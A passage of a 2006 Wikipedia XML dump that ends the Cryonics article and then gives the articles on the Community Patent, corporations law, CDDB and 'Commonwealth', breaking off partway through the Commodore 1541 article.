Cryonicists have also had a common jargon, including their use of the words ''patient'', ''death'', ''deanimation'' and ''suspension''. The phrase ''cryonic suspension'' to describe [[cryopreservation]] is falling into disfavor, partly because cryopreservation is not really [[suspended animation]] and human bodies or heads are not buoyant enough in [[Liquid_nitrogen#Molecular_nitrogen_.28gas_and_liquid.29|liquid nitrogen]] to be suspended. As in other subcultures, some members of the community can have strong feelings about the use of &quot;[[Political correctness|politically correct]]&quot; cryonics language. 

==Notes==
*1.{{note|Note1}} [http://www.cryoletter.org/ Scientists' Open Letter on Cryonics]
*2.{{note|Note2}} [http://www.alcor.org/Library/html/CaseForWholeBody.html The Case for Whole Body Suspension]
*3.{{note|Note3}} [http://www.foresight.org/EOC/EOC_Chapter_9.html Engines of Creation, excerpt of Ben Franklin letter]
*4.{{note|Note4}} [http://www.cryonics.org/book1.html The Prospect of Immortality]
*5.{{note|Note5}} [http://www.alcor.org/cryonics/cryonics9208.txt Cryonics, August, 1992, &quot;For the Record&quot;]
*6.{{note|Note6}} [http://www.alcor.org/Library/html/suspensionfailures.html Cryonics, February, 1992, &quot;Suspension Failures: Lessons from the Early Years&quot;]
*7.{{note|Note7}} [http://www.foresight.org/EOC/EOC_Chapter_9.html Engines of Creation, &quot;A Door to the Future&quot;]
*8.{{note|Note8}} [http://www.foresight.org/EOC/EOC_References.html#0156 Early references to cell repair by cryonicists]
*9.{{note|Note9}} [http://www.alcor.org/Library/html/MythOfTheGoldenScalpel.html Cryonics, January 1986, &quot;The Myth of the Golden Scalpel&quot;]
*10.{{note|Note10}} [http://sportsillustrated.cnn.com/baseball/news/2003/08/12/williams_si/index.html SPORTS ILLUSTRATED:What happened to Ted?]
*11.{{note|Note11}} [http://sportsillustrated.cnn.com/inside_game/tom_verducci/news/2003/08/12/insider/index.html SPORTS ILLUSTRATED:Ted's tragedy unfolds]
*12.{{note|Note12}} [http://www.alcor.org/printable.cgi?fname=Library%2Fhtml%2Falcornews015.html ALCOR NEWS BULLETIN:Renewed Ted Williams Controversy]
*13.{{note|Note13}} [http://www.alcor.org/printable.cgi?fname=Library%2Fhtml%2Flegislation.html Chronology of Attempted 2004 Cryonics Legislation in Arizona]

==See also==
* [[Biological immortality]]
* [[Biostasis]]
* [[Cryobiology]]
* [[Engineered negligible senescence]]
* [[Hibernation]]
* [[Immortality Institute]]
* [[Life extension]]
* [[Senescence]]
* [[Vitrification]]

==External links==
*[http://www.benbest.com/cryonics/CryoFAQ.html Cryonics FAQ]
*[news:sci.cryonics sci.cryonics Usenet newsgroup]
*[http://cryonet.org/ CryoNet]
*[http://www.firstimmortal.com/ The First Immortal] Free download of popular, critically acclaimed cryonics novel
* [http://www.cryonics.org/book1.html The Prospect of Immortality] Free download of the book that started the cryonics movement
*[http://www.merkle.com/cryo/ Ralph Merkle's introduction to cryonics]
*[http://www.alcor.org/ Alcor Life Extension Foundation]
*[http://www.cryonics.org/ Cryonics Institute]
*[http://www.americancryonics.org/ American Cryonics Society]
*[http://www.cryonics.org/bblr/cryonics%20europe/ce.htm Cryonics Europe]
*[http://www.cryonicssociety.org/ Cryonics Society - Resources and Advocacy]
*[http://www.cryocdn.org/ Cryonics Society of Canada]
*[http://www.imminst.org/ The Immortality Institute]
*[http://www.longevitymeme.org/articles/ Longevity Meme]

==News Articles==
*[http://online.wsj.com/public/article/SB113780314900652582-3NZCCoZBW7UHDmouEOrkzkalkfY_20060129.html?mod=blogs &quot;A Cold Calculus Leads Cryonauts To Put Assets on Ice&quot; (Wall Street Journal)]

&lt;!-- Categories --&gt;

[[Category:Protoscience]]
[[Category:Cooling technology]]
[[Category:Cryonics]]
[[Category:Death customs]]

[[de:Kryonik]]
[[es:Criogenización]]
[[fi:Kryoniikka]]
[[ja:人体冷凍保存]]
[[sv:Kryonik]]</text>
    </revision>
  </page>
  <page>
    <title>Community Patent</title>
    <id>6761</id>
    <revision>
      <id>39227533</id>
      <timestamp>2006-02-11T18:09:43Z</timestamp>
      <contributor>
        <ip>80.237.152.53</ip>
      </contributor>
      <text xml:space="preserve">{{European patent law}}

The '''Community Patent''', also known as the '''European Community Patent''' or '''EC patent''', is a [[patent]] law measure being debated within the [[European Union]], which would allow individuals and companies to obtain a unitary patent throughout the European Union. The Community Patent should not be confused with [[European Patent Organisation|European patent]]s which are granted under the [[European Patent Convention]]. European patents, once granted, become a bundle of nationally enforceable patents, in the designated states. This can be expensive for the patentee in that enforcement must be carried out through national courts in individual countries, and for a third party in that revocation cannot be accomplished centrally.

The Community Patent is intended to solve both of these problems, and also to provide a patent right that is consistent across Europe, thus fulfilling one of the key principles of the [[Internal Market]] in that the same market conditions should exist wherever in Europe trade is carried out - different patent rights in different countries presents a distortion of this principle.

In view of the difficulties in reaching an agreement on the community patent, other legal agreements have been proposed outside the European Union legal framework to reduce the cost of [[translation]] (of patents when granted) and [[lawsuit|litigation]], namely the [[London Agreement]] and the [[European Patent Litigation Agreement]] (EPLA).

== Early proposal: Community Patent Convention ==

Work on a Community Patent started in the 1970s, but the resulting Community Patent Convention (CPC) was a failure. 

The &quot;[[Luxembourg]] Conference on the Community Patent&quot; took place indeed in [[1975]] and the '''Convention for the European Patent for the common market''', or (Luxembourg) Community Patent Convention (CPC), was signed at Luxembourg on [[December 15]], [[1975]], by the 9 member states of the [[European Economic Community]] at that time. However the CPC never entered into force. It was not ratified by enough countries.

Fourteen years later, the '''Agreement relating to Community patents''', done at Luxembourg on [[December 15]], [[1989]], was an attempt to revive the project. This Agreement consisted in an amended version of the original Community Patent Convention. But this attempt failed again.

Nevertheless, as a minor consolation, a majority of member states of the EEC at that time introduced some harmonisation into their national patent laws in anticipation of the entry in force of the CPC.  A more substantive harmonisation took place at around the same time to take account of the European Patent Convention and the [[Convention on the Unification of Certain Points of Substantive Law on Patents for Invention|Strasbourg Convention]].

== Current debate: EU Regulation ==

Renewed efforts from the European Union have now resulted in a Community Patent [[European Union regulation|Regulation]], sometimes abbreviated as '''CPR'''. It provides that a patent application should be filed in only one language (English, French or German) and would be handled with and examined by the [[European Patent Organisation|European Patent Office]] (''this requires a change in the [[European Patent Convention]], which is not that easy to obtain''). The claims of the patent, once granted, would then have to be translated into all European Union languages. However, the patent will not be enforceable against an entity until it is provided with a copy of it in its own national language. The Community Patent Regulation will also establish a court holding exclusive jurisdiction to invalidate issued patents; thus, a Community Patent's validity will be the same in all EU member states. This court will be attached to the present [[European Court of Justice]] and [[Court of First Instance]] through use of provisions in the [[Treaty of Nice]].

Discussion regarding the Community Patent had made clear progress in [[2003]] when a political agreement was reached on [[March 3]], 2003. However, one year later in March [[2004]] under the [[Ireland|Irish]] [[Presidency of the Council of the European Union|presidency]], the [[Competitiveness Council]] failed to agree on the details of the Regulation. In particular the time delays for translating the claims and the authentic text of the claims in case of an infringement remained problematic issues throughout discussions and in the end proved insoluble.

Thus, in [[2005]], the Community Patent looked unlikely to be implemented in the near future. However, on [[January 16]], [[2006]] the [[European Commission]] &quot;launched a public consultation on how future action in patent policy to create an EU-wide system of protection can best take account of stakeholders' needs.&quot; The Community Patent is one of the issues the consultation focuses on. [http://europa.eu.int/rapid/pressReleasesAction.do?reference=IP/06/38&amp;format=HTML&amp;aged=0&amp;language=EN&amp;guiLanguage=en] 

=== Reactions to the failure ===

After the council in March 2004, [[European Commission|EU Commissioner]] [[Frits Bolkestein]] said
: &quot;The failure to agree on the Community Patent I am afraid undermines the credibility of the whole enterprise to make Europe the most competitive economy in the world by [[2010]].&quot;
and further
: &quot;It is a mystery to me how Ministers at the so-called 'Competitiveness Council' can keep a straight face when they adopt conclusions for the Spring European Council on making Europe more competitive and yet in the next breath backtrack on the political agreement already reached on the main principles of the Community Patent in March of last year. I can only hope that one day the vested, [[protectionism|protectionist]] interests that stand in the way of agreement on this vital measure will be sidelined by the over-riding importance and interests of European manufacturing industry and Europe's competitiveness. That day has not yet come.&quot;

Jonathan Todd, Commission's Internal Market spokesman, declared: 
:&quot;Normally, after the common political approach, the text of the regulation is agreed very quickly. Instead, some Member States appear to have changed their positions. (...) It is extremely unfortunate that European industry’s competitiveness, innovation and R&amp;D are being sacrificed for the sake of preserving narrow vested interests.&quot; [http://aoi.cordis.lu/article.cfm?article=1310]

European Commission President [[Romano Prodi]], asked to evaluate his five-year term, cites as his weak point the failure of many EU governments to implement the &quot;[[Lisbon Agenda]]&quot;, agreed in [[2001]]. In particular, he cited the failure to agree on a Europewide patent, or even the languages to be used for such a patent, &quot;because member states did not accept a change in the rules; they were not coherent&quot; ([[Wall Street Journal]], [[October 25]], 2004).

=== Support for the Regulation ===

There is support for the Community Patent from various quarters.  From the point of view of the European Commission the Community Patent is an essential step towards creating a level playing field for trade within the European Union.  For smaller businesses, if the Community Patent achieves its aim of providing a relatively inexpensive way of obtaining patent protection across a wide trading area, then there is also support.  

For larger businesses, however, other issues come into play, which have tended to dilute overall support.  In general, these businesses recognise that the current European Patent system provides the best possible protection given the need to satisfy national sovereignty requirements such as regarding translation and enforcement.  The Community Patent proposal was generally supported if it was to do away with both of these issues, but there was some concern about the level of competence of the proposed European Patent Court.  A business would be reluctant to obtain a Europe-wide patent if it ran the risk of being revoked by an inexperienced judge.  Also, the question of translations would not go away - unless the users of the system could see significant change in the position of some of the countries holding out for more of a patent specification to be translated on grant or before enforcement, it was understood that larger businesses (the bulk of the users of the patent system) would be unlikely to move away from the tried and tested European Patent.

== See also ==
* [[Paris Convention for the Protection of Industrial Property]]
* [[Convention on the Unification of Certain Points of Substantive Law on Patents for Invention|Strasbourg Convention]] (1963)
* [[European Patent Convention]]

== External links ==
*[http://europa.eu.int/comm/internal_market/en/indprop/patent/ Official European Union Community Patent Homepage]

* Community Patent Convention (1975)
** ...
* Amended Community Patent Convention (1989)
**[http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=en&amp;numdoc=41989A0695(01)&amp;model=guichett 1989's Agreement relating to Community patents]
** [http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=en&amp;numdoc=41989A0695(02)&amp;model=guichett Implementing Regulations to the Convention for the European patent for the common market]
** [http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=EN&amp;numdoc=41989A0695(03)&amp;model=guichett Protocol on the settlement of litigation concerning the infringement and validity of Community Patents (Protocol on litigation)]
** [http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=EN&amp;numdoc=41989A0695(04)&amp;model=guichett Protocol on privileges and immunities of the common appeal court relating to Community patents]
** [http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=EN&amp;numdoc=41989A0695(05)&amp;model=guichett Protocol on the statute of the common appeal court relating to Community patents]
** [http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=EN&amp;numdoc=41989A0695(06)&amp;model=guichett Protocol on a possible modification of the conditions of entry into force of the Agreement relating to Community patents]
* Regulation (1997)
** [http://europa.eu.int/comm/internal_market/en/indprop/patent/paten.pdf Green Paper on the Community Patent and patent system in Europe] (presented by the Commission) (pdf)
** [http://europa.eu.int/comm/internal_market/en/indprop/patent/412en.pdf Proposal for a Council Regulation on the Community patent (presented by the Commission)] (August 1, 2000) (pdf)
** [http://register.consilium.eu.int/pdf/en/04/st07/st07119.en04.pdf Proposal for a Council Regulation on the Community patent (Council of the European Union)] (March 8, 2004) (pdf)

*[http://patlaw-reform.european-patent-office.org/community_patent/ European Patent Office page on the Community Patent]
*[http://wiki.ael.be/index.php/CommunityPatent AEL wiki on the Community Patent]

[[Category:European patent law]]
[[Category:European Union laws]]</text>
    </revision>
  </page>
  <page>
    <title>Corporations law</title>
    <id>6762</id>
    <revision>
      <id>36428185</id>
      <timestamp>2006-01-23T23:57:53Z</timestamp>
      <contributor>
        <username>Jdfawcett</username>
        <id>829975</id>
      </contributor>
      <comment>Qualified &quot;a corporation is a legal entity that is legally treated as a person&quot; with &quot;in certain instances&quot;. The legal fiction of corporate law is provisional, not categorical.</comment>
      <text xml:space="preserve">{{BusinessLaw}}
'''Corporations law''' or '''corporate law''' is the field of [[law]] concerning the creation and regulation of [[corporation]]s and other [[business organization|business organizations]].  A corporation is a [[legal entity]] that is legally treated, in certain instances, as a person; the corporation can own [[property]], execute [[contract|contracts]], sue, and be sued.  In British practice, corporate law is more often called '''company law'''.

Corporate law also includes the law governing the relationships among various constituents of a corporation such as [[shareholder|shareholders]], [[board of directors|directors]] and [[management]].  By way of illustrative example, the following are questions of corporate law:
* Under what circumstances may a corporation engage in a transaction (such as renting property) with a director?  (see: [[conflict of interest]])
* How are the directors and officers of a corporation chosen?
* What responsibilities  does a director, an officer, or a majority shareholder owe to the corporation or to other shareholders? (see: [[fiduciary duty]])
* What actions may be undertaken by the officers of a corporation in their capacity as such, and what actions require the approval of the directors or of the shareholders?  (see: [[corporate governance]])
* How may one corporation [[mergers and acquisitions|merge]], consolidate with, or otherwise acquire another?
* What are the procedures for calling and holding a meeting of the shareholders or of the directors of a corporation?
* How may a corporation be dissolved, and what are the consequences of dissolving it?
* How may a corporation issue [[stock]], and what rights do a [[shareholder]] have with respect to the corporation?

Corporate law also sometimes includes [[securities law]]s, which govern the conditions under which corporations can issue shares and is aimed at preventing fraudulent offering schemes.

Corporate law is generally considered to be distinct from the fields of law that are principally concerned with the relationship between a corporation and a [[third party]], such as [[commercial law]], [[antitrust law]], and [[environmental law]]. 

==Corporate law in the United States==

In the [[United States]],  corporations are generally [[incorporation (business)|incorporated]], or chartered, under the laws of a particular [[U.S. state|state]].  The corporate law of a corporation's state of incorporation generally governs that corporation (even if the corporation's operations take place outside of that state).  The corporate laws of the various states differ- in some cases significantly- from state to state, as a result of which corporate [[lawyers]] are often consulted in an effort to determine the most appropriate or advantageous state in which to incorporate.  The [[federal law|federal laws of the United States]] and local law may also be applicable sources of corporate law.

==See also==
*[[Business ethics]]
*[[Corporate crime]]
*[[Corporate Lawyer]]
*[[Corporate personhood]]
*[[Delaware corporation]]
*[[European Company Statute]]

[[Category:Corporations law]]
[[Category:Law]]
[[Category:Economics]]
[[Category:Finance]]
[[de:Gesellschaftsrecht]]
[[es:Derecho de sociedades]]
[[zh:公司法]]</text>
    </revision>
  </page>
  <page>
    <title>Cistron</title>
    <id>6763</id>
    <revision>
      <id>15904883</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gene]]
</text>
    </revision>
  </page>
  <page>
    <title>CDDB</title>
    <id>6764</id>
    <revision>
      <id>39331565</id>
      <timestamp>2006-02-12T11:40:07Z</timestamp>
      <contributor>
        <username>GRAHAMUK</username>
        <id>10999</id>
      </contributor>
      <comment>rephrase CD-TEXT bit - since CD-TEXT came about in 1996, and the original format in 1980, the phrasing as was was very misleading</comment>
      <text xml:space="preserve">'''CDDB''' (which stands for '''C'''ompact '''D'''isc '''D'''ata'''b'''ase) is a [[database]] for [[software]] [[application software|applications]] to look up CD ([[compact disc]]) information over the [[Internet]]. This is performed by a client which calculates a (nearly) unique disc ID and then queries the database. As a result, the client is able to display the artist name, CD title, track list and some additional information.

The database is used primarily by [[media player]] and [[CD ripper]] software.

The need for CDDB is a direct consequence of the original design of the CD, which was conceived as an evolution of the [[gramophone record]], and did not consider the audio tracks as data files to be identified and indexed. The audio CD format does not include the disc name or track names, therefore a supplemental database is needed to supply this information when discs are used with modern media systems. A later development called [[CD-TEXT]] is another solution to the same problem.

==History==
CDDB was invented by [[Ti Kan]] and [[Steve Scherf]]. The source code was released under the [[GNU General Public License]], and thus many people submitted CD information believing that the contributions, too, would remain freely available to others. Later, however, the project was sold and the license conditions were changed and it was no longer a free service, requiring commercial developers to pay an &quot;initial fee&quot;, as well as a license fee based on the usage of the servers and support. It also included terms that many programmers felt were unacceptable: no other similar database (such as [[freedb]]) could be accessed in addition to CDDB, and the CDDB logo was required to be displayed while the database was being accessed.

In [[March 2001]], CDDB, now owned by [[Gracenote]], banned all unlicensed applications from accessing their database. New licenses for CDDB1 (the original version of CDDB) were not available anymore, as they wanted to force programmers to switch to CDDB2 (a new version incompatible with CDDB1 and hence with freedb).

After the unpopular commercialization of CDDB as [[Gracenote]], most media player applications switched to [[freedb]], but continued to refer to the service as 'CDDB' as a generic term. It is still common to see many applications refer to CDDB in their documentation when in fact the application is using [[freedb]].

==Technical==
CDDB was designed around the task of identifying entire CDs, not merely single tracks. The identification process involves creating a 'discid', a sort of &quot;fingerprint&quot; of a CD created by performing [[hash table|calculations]] on the track duration information stored in the table-of-contents of the CD. This discid is used with the internet database, typically either to download track names for the whole CD or to submit track names for a newly-identified CD. 

Since identification of CDs is based on the length and order of the tracks, CDDB cannot identify playlists in which the order of tracks has been changed, or compilations of tracks from different CDs.  CDDB also cannot distinguish different CDs that have the same number of tracks and the same track lengths.

==Alternatives==
The licence change motivated a new project, [[freedb]], which is intended to remain free.

An alternative project that aims to enhance CDDB beyond a mere database of CDs is called [[MusicBrainz]]. Their site also contains more information on CDDB and some database statistics of CDDB and freedb.

Another commercial alternative to CDDB is the [[AMG LASSO]] service. LASSO was launched by [[All Media Guide]] in late 2004 and includes recognition technology for CDs, DVDs, and digital audio files. The AMG metadata database is generally recognized to be more comprehensive and of higher quality, because of quality controls that CDDB lacks. Microsoft's [[Windows Media Player]], [[Musicmatch Jukebox]], and the [[Virgin Digital Megastore]] are licensees.

== External links ==
*[http://www.allmediaguide.com/ All Media Guide]
*[http://www.allmediaguide.com/lasso/ All Media Guide's LASSO]
*[http://www.allmusic.com/ All Music Guide]
*[http://www.freedb.org/ freedb]
*[http://www.gracenote.com/ Gracenote]
*[http://www.musicbrainz.org/ MusicBrainz]
*[http://freedb.org/modules.php?name=Sections&amp;sop=viewarticle&amp;artid=6 How DiscId is computed]

[[Category:Online music databases]]

[[de:Compact Disc Database]]
[[es:CDDB]]
[[fr:Compact Disc Data Base]]
[[nl:Compact Disc Database]]
[[ru:CDDB]]</text>
    </revision>
  </page>
  <page>
    <title>Commonwealth</title>
    <id>6766</id>
    <revision>
      <id>42140612</id>
      <timestamp>2006-03-04T02:14:59Z</timestamp>
      <contributor>
        <username>Mikeh</username>
        <id>97954</id>
      </contributor>
      <minor />
      <comment>/* Australia */ further explanation</comment>
      <text xml:space="preserve">:''For alternative meanings, see [[Commonwealth of Nations]], [[Commonwealth of Independent States]], or [[Commonwealth (U.S. insular area)]].''

==Definition and linguistics==
The original phrase &quot;common wealth&quot; or &quot;the common weal&quot; is a [[calque]] translation of the Latin term ''[[res publica]]'' ('public thing'), from which the word ''[[republic]]'' comes, which was itself used as a synonym for the Greek ''politeia'' as well as for the republican (i.e. non-monarchical) [[Roman Republic|Roman]] constitution (in legal theory still in force during the empire, see [[Principate]]).

The [[English language | English]] noun '''''Commonwealth''''' dates originally from the [[15th century | fifteenth century]] and in different contexts indicates:

# a political unit founded in [[law]] by agreement of the people for the common good;
# a [[federation|federated]] union of constituent states;
# a [[republic]];
# a [[Cooperative Commonwealth|Co-operative Commonwealth]] is a society based on [[cooperative]] and [[socialist]] principles.

==International or Multinational==
===Commonwealth of Nations===
When capitalised, &quot;Commonwealth&quot; refers to the 53 member [[Commonwealth of Nations]] - formerly the &quot;British Commonwealth&quot; - a loose [[confederation]] of nations formerly members of the [[British Empire]] (with one exception: [[Mozambique]]). The Commonwealth's membership includes both republics and monarchies and the (appointed, not hereditary) head of the Commonwealth of Nations is [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]. She also reigns as monarch directly in a number of states, known as [[Commonwealth Realm]]s, notably the [[United Kingdom]], [[Australia]], [[Canada]], [[New Zealand]], [[Jamaica]] and others. The Commonwealth of Nations is sometimes referred to as the New Commonwealth in a British context.

===Commonwealth of Independent States===
The [[Commonwealth of Independent States]] (CIS) is a loose [[military alliance|alliance]] or confederation consisting of 12 of the 15 [[Post-Soviet states|former Soviet Republics]]. Its creation signaled the dissolution of the [[Soviet Union]], its purpose being to &quot;allow a civilized divorce&quot; between the [[Republics of the Soviet Union|Soviet Republics]]. The CIS has developed as forum by which the member-states can co-operate, and even integrate, in areas of [[economics]], [[Defense (military)|defense]] and [[foreign policy]].

==National==
===Great Britain===
The [[Commonwealth of England]] was the official name of the political unit (de facto military rule in the name of parliamentary supremacy) that replaced the kingdoms of Scotland and England (after the [[English Civil War]]) under the rule of [[Oliver Cromwell]] and his successors from [[1649]] to [[1660]]. It formed the first [[republic]] in the [[Anglosphere|English-speaking world]], though this quickly devolved into a quasi-monarchy.  The Cromwellian Commonwealth is sometimes referred to as the Old Commonwealth in a British context.

Former Labour MP [[Tony Benn]] introduced a [[Commonwealth of Britain Bill]] several times which would abolish the monarchy and establish a British republic. It has never reached a second reading.

===Australia===
The term also served when the six Australian [[colony | colonies]] [[Federation of Australia|federated]] to form the [[Australia|Commonwealth of Australia]] in [[1901]]. The [[Commonwealth of Australia Constitution Act]] created a federal system, in which power is divided between the federal, or national, government and the [[States and territories of Australia|States]] - the evolved status of the colonies. The Constitution stipulated that Australia was a [[constitutional monarchy]], where the [[Head of State]] is the British (or, since 1973, Australian) monarch, who is represented at the federal level by a Governor-General, and at the state level by six Governors, one for each state. The [[Parliament of Australia]] was derived from the British, Canadian and American systems to form a uniquely Australian system. It is largely based on the English [[Westminster System]], adopting many of its practices and precedents, but with a similar structure - [[House of Representatives]], and [[Senate]] - to the US Congress. In an Australian context, the term &quot;Commonwealth&quot; (capitalised) thus refers to the [[Government of Australia|federal government]] and &quot;Commonwealth of Australia&quot; is the official name of the country.

===Bahamas===
The [[Bahamas]], a [[Commonwealth Realm]], adopted the official style ''The Commonwealth of the Bahamas'' upon independence in [[1973]].

===Dominica===
The small [[Caribbean]] republic of [[Dominica]] has used the official style ''Commonwealth of Dominica'' since [[1978]].

==Countries that formerly used the style Commonwealth==

===Iceland===
[[Icelandic Commonwealth]] (''Þjóðveldið Íslands'') 930-1262.

===Polish-Lithuanian Commonwealth, Commonwealth of Poland===
''Commonwealth'' is still an alternative translation of the official name of the Republic of Poland (''[[Rzeczpospolita]]''). [[Wincenty Kadłubek]] (Vincent Kadlubo, 1160-1223) used for the first time the original Latin term ''res publica'' in the context of Poland in his &quot;Chronicles of the Kings and Princes of Poland&quot;. The name was used officially for the federal country formed by [[Poland]] and [[Lithuania]] 1569-1795.

It is also often referred as &quot;[[Nobles' Commonwealth]]&quot; (1505-1795, i.e. before the union).
In contemporary political doctrine of [[Polish-Lithuanian Commonwealth]], &quot;our state is a Republic (Commonwealth) under presidency of the King&quot;. The commonwealth introduced a doctrine of religious tolerance (see [[Warsaw Confederation]]), had its own parliament ''[[Sejm]]'' (although elections were restricted to the gentry or ''[[szlachta]]'') and elected kings, who were bound to certain contracts ''[[Pacta conventa]]'' from the beginning of the reign. The foundation stones of the Commonwealth (also called the Golden Freedoms) used to be
* [[Elective monarchy|free election]] of the king
* ''Pacta conventa'', a binding pledge agreed to by the King on his election
* ''[[rokosz]]'', the right of rebellion against kings who did not rule in accordance with their pledge
* ''[[liberum veto]]'' (a later development), the right for a single representative to veto the entire proceedings of the Sejm
* ''[[confederatio]]'' ([[confederation]]), a military organisation of the citizens for the attainment of common political aims.

It is worth to note that &quot;A commonwealth of good counsaile&quot; was the title of
the 1607 English translation of the work of [[Wawrzyniec Grzymała Goślicki]] &quot;De optimo senatore&quot; that presented to English readers many of the ideas present in the political system of Polish-Lithuanian Commonwealth.

===Philippines===
This was the [[Commonwealth of the Philippines]] in free association with the USA between 1935 and 1946.

==Subnational==
===United States===
:''See [[Commonwealth (United States)]] and [[Commonwealth (U.S. insular area)]].''

Four [[U.S. state|states]] in the [[United States]] officially designate themselves &quot;commonwealths&quot;: [[Kentucky]], [[Massachusetts]], [[Pennsylvania]], and [[Virginia]].

&quot;Commonwealth&quot; is also used in the U.S. to describe the political [[relationship]] between the [[United States]] and the overseas [[incorporated territory|unincorporated territories]] of [[Puerto Rico]] and of the [[Northern Marianas]].

==External links==
* [http://www.gov.au/sites/fed.html Commonwealth of Australia]
* [http://www.thecommonwealth.org/ Commonwealth of Nations Secretariat]
* [http://www.commonwealthfoundation.com/ Commonwealth Foundation]
* [http://www.rcsint.org/ Royal Commonwealth Society]
* [http://www.state.pa.us/ Commonwealth of Pennsylvania]
* [http://www.virginia.gov/cmsportal/ Commonwealth of Virginia]
* [http://www.ky.gov Commonwealth of Kentucky]
* [http://www.mass.gov Commonwealth of Massachusetts]

[[Category:Forms of government]]

[[nl:Gemenebest (algemeen)]]
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[[sv:Statsförbund]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore 1541</title>
    <id>6767</id>
    <revision>
      <id>37120874</id>
      <timestamp>2006-01-28T21:01:57Z</timestamp>
      <contributor>
        <username>NathanBeach</username>
        <id>26</id>
      </contributor>
      <minor />
      <comment>Added two new photographs I took of the 1541...</comment>
      <text xml:space="preserve">[[Image:Commodore64_fdd1541_front.jpg|thumb|325px|Frontal view of the most common version of the '''Commodore 1541''' disk drive, with open disk slot. Note the 'in-up/down-out' locking mechanism (also used in the later 1541C version).]]
[[Image:Commodore64_fdd1541_back.jpg|thumb|325px|Back panel view of the '''Commodore 1541''' disk drive.]]The '''Commodore 1541''' (aka '''CBM 1541''', and originally called '''VIC-1541'''), made by [[Commodore International]], was the best-known [[floppy disk]] drive for the [[Commodore 64]] [[home computer]]. The 1541 was a single-sided 170 [[kilobyte]] drive for 5&amp;frac14;&quot; disks.  The 1541 followed the previous [[Commodore 1540]] (meant for the [[Commodore VIC-20|VIC-20]]).

The disk drive used [[Group Code Recording]] and contained a [[MOS Technology|MOS]] [[MOS Technology 6502|6502]] microprocessor, doubling as a [[disk controller]] and on-board [[disk operating system]] processor. The number of sectors per track varied from 17 to 21 (an early implementation of [[Zone Bit Recording]]). The drive's built-in disk operating system was [[Commodore DOS|CBM DOS 2.6]].

Use of &quot;flippy disks&quot; (&quot;made&quot; by cutting/punching a notch on the left-hand side of a double-sided disk, opposite the factory-made write-protect hole) would give access to the 'reverse' side of the disks, doubling the storage capacity. Each side of 170 [[kilobyte|KB]] was split into 664 'blocks' holding 256 [[byte]]s each; the [[file system]] made each block its own cluster.

==Introduction and early problems==

Priced at under [[United States dollar|US$]]400 at its introduction, the 1541 became widely popular. Although expensive by today's standards, a C64 plus a 1541 cost about $900, while an [[Apple II family|Apple II]] with no disk drive cost $1395. The demand caught Commodore by surprise, who struggled to produce the drive in adequate quantities.

Failure rates on the 1541 initially were very high, and the drives were virtually impossible to find. The lead editorial in the December [[1983]] issue of ''[[Compute!'s Gazette]]'' lamented that of seven drives the magazine had in its editorial offices, four had failed. Eventually the problems subsided and the drive became nearly as widely available as the C64 itself.

==Versions and third-party clones==

[[Image:Commodore 1541-II.jpg|thumb|325px|'''Commodore 1541-II''', the second of two upgraded versions of the CBM 1541 (the first upgrade was the 1541C). The 1541-II has the more modern 'radial handle' locking mechanism.]]There were two versions of the 1541 mechanics. Early models used a drive mechanism made by [[Alps Electric]], distinguishable by its push-down drive door. Later models utilized a drive mechanism manufactured by Newtronics ([[Mitsumi]]), which used a lever release. All but the very earliest 1541s can use either the Alps or Newtronics mechanism. Visually, the first models, of the ''VIC-1541'' denomination, had an off-white color like the VIC-20 and VIC-1540. Then, to match the look of the C64, [[Commodore International|CBM]] changed the drive's color to brown-beige and the name to ''Commodore 1541''.

The 1541's numerous shortcomings opened a market for a number of third-party clones of the disk drive, a situation that continued for the lifetime of the C64. Well-known clones were the ''Oceanic OC-118'' aka ''Excelerator+'', ''MSD'' 's single and dual drives, the ''Enhancer 2000'', the ''Indus GT'', and ''[[Creative Micro Designs|CMD]]'' 's ''FD-2000'' and ''FD-4000''. Nevertheless, the 1541 became the first disk drive to see widespread use in the home and Commodore sold millions of the units.

In [[1986]], Commodore released the '''1541C''', a revised version that offered quieter and slightly more reliable operation and a light beige case matching the color scheme of the Commodore 64C. It was replaced in [[1988]] by the '''1541-II''', which used an external power supply to provide cooler operation and allow the drive to have a smaller desktop footprint (the power supply &quot;brick&quot; being placed elsewhere, typically on the floor).

==The serial computer interface==

The 1541 used a bit-serial version of the [[IEEE-488]] interface, the speedier parallel version of which was used on Commodore's earlier drives for the [[Commodore PET|PET/CBM]] range of personal/business computers. To ensure a ready supply of inexpensive cabling for its home computer peripherals, Commodore chose standard [[DIN connector]]s for the serial interface. Disk drives and other peripherals such as printers were connected to the computer via a [[daisy-chain]] scheme, necessitating only a single connector on the computer itself.

Initially, Commodore intended to use a hardware shift register (the [[MOS Technology 6522|6522 VIA]]) to maintain relatively brisk drive speeds with the new serial interface. However, a hardware bug with this chip prevented the initial design from working as anticipated, and the ROM code was hastily rewritten to handle the entire operation in software. According to [[Jim Butterfield]], this caused a speed reduction by a factor of five. [http://www.binarydinosaurs.co.uk/Museum/Commodore/c64/c64notes.php]

